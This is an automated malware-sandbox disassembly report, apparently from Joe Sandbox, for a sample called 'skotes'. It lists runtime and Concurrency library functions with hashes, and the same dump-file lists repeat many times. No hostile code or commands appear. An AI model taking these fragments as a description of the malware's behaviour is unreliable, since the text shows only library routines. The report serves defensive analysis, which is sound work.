Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: dd302ab4cee142a73bf16d6ac742895b9636ed79eea7b1ba36920510f96f22b0
Instruction ID: 1953ad2b1335f3652eb975d8c56998223bcffbc78bd4d14b5747d44eb7e66f3a
Opcode Fuzzy Hash: dd302ab4cee142a73bf16d6ac742895b9636ed79eea7b1ba36920510f96f22b0
Instruction Fuzzy Hash: 26016D227813127DA3257BF95C5AFAB7ECEFD82348B20153BB442E61C1EEE4E8004274

Function 005E2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 005E20B7

Part of subcall function 005DCAF3: Mailbox.LIBCMT ref: 005DCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 005E20C8
StructuredWorkStealingQueue.LIBCMT ref: 005E20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 005E210F

Strings

e, xrefs: 005E20D9

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: b22857c011384a6b2403690f3ce16269a4ec4a95c77cff9896d391ae424b96f6
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 7811E7311001859BCB1DDE6AC889B6A7FACFF41324F14809AFC468F24BDB71DA01DBA1

Function 005CD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 005CD0A5

Strings

SleepConditionVariableCS, xrefs: 005CD05D
WakeAllConditionVariable, xrefs: 005CD069
api-ms-win-core-synch-l1-2-0.dll, xrefs: 005CD03B
kernel32.dll, xrefs: 005CD04C

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 8099bd348fb0b295e70036091ea90012de170ae72a73ea331c7e7e8a34247d78
Instruction ID: 9f01088365dec3b42a28aead08eb6ad9a59f798a6568097f45ba74596e5b1870
Opcode Fuzzy Hash: 8099bd348fb0b295e70036091ea90012de170ae72a73ea331c7e7e8a34247d78
Instruction Fuzzy Hash: FB01A761BC2711ADF7323BB55C06F9B65DAEBC2B88F0A2525B801F71C0E994DC418575

Function 005DE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 005DE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 005DE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005DE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 005DE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 005DE9DC

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 033d9a0f1f46a4378d3d05ca7a8ee70f0ade2bfce0ae47fb6ccce78c699d11d4
Instruction ID: 372d6d153362a5a9f38c31400a97f97a603010fd2156f872541d574fa11d58eb
Opcode Fuzzy Hash: 033d9a0f1f46a4378d3d05ca7a8ee70f0ade2bfce0ae47fb6ccce78c699d11d4
Instruction Fuzzy Hash: A2414535A01519EFCB15EF68C459A6DBBB6FF88310F04815AE505AB390CB74AE01CB91

Function 005DD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 005DD344
ListArray.LIBCONCRT ref: 005DD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 005DD370
ListArray.LIBCONCRT ref: 005DD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 005DD3B3

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 377ba206d64040027c62dbfd2dda7dceb47bb5e75c8dfab821fbd5ebba34c296
Instruction ID: bf21d8460d0e251918a5103a262ee66d272da2c6582ba4621acfcb2382e86587
Opcode Fuzzy Hash: 377ba206d64040027c62dbfd2dda7dceb47bb5e75c8dfab821fbd5ebba34c296
Instruction Fuzzy Hash: C331A1357002109FCB25DF58C888BADBBB6BF88300F05459BE8069B352DB74ED41CBA2

Function 005D86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 005D86EE

Part of subcall function 005CEAD0: _SpinWait.LIBCONCRT ref: 005CEAE8

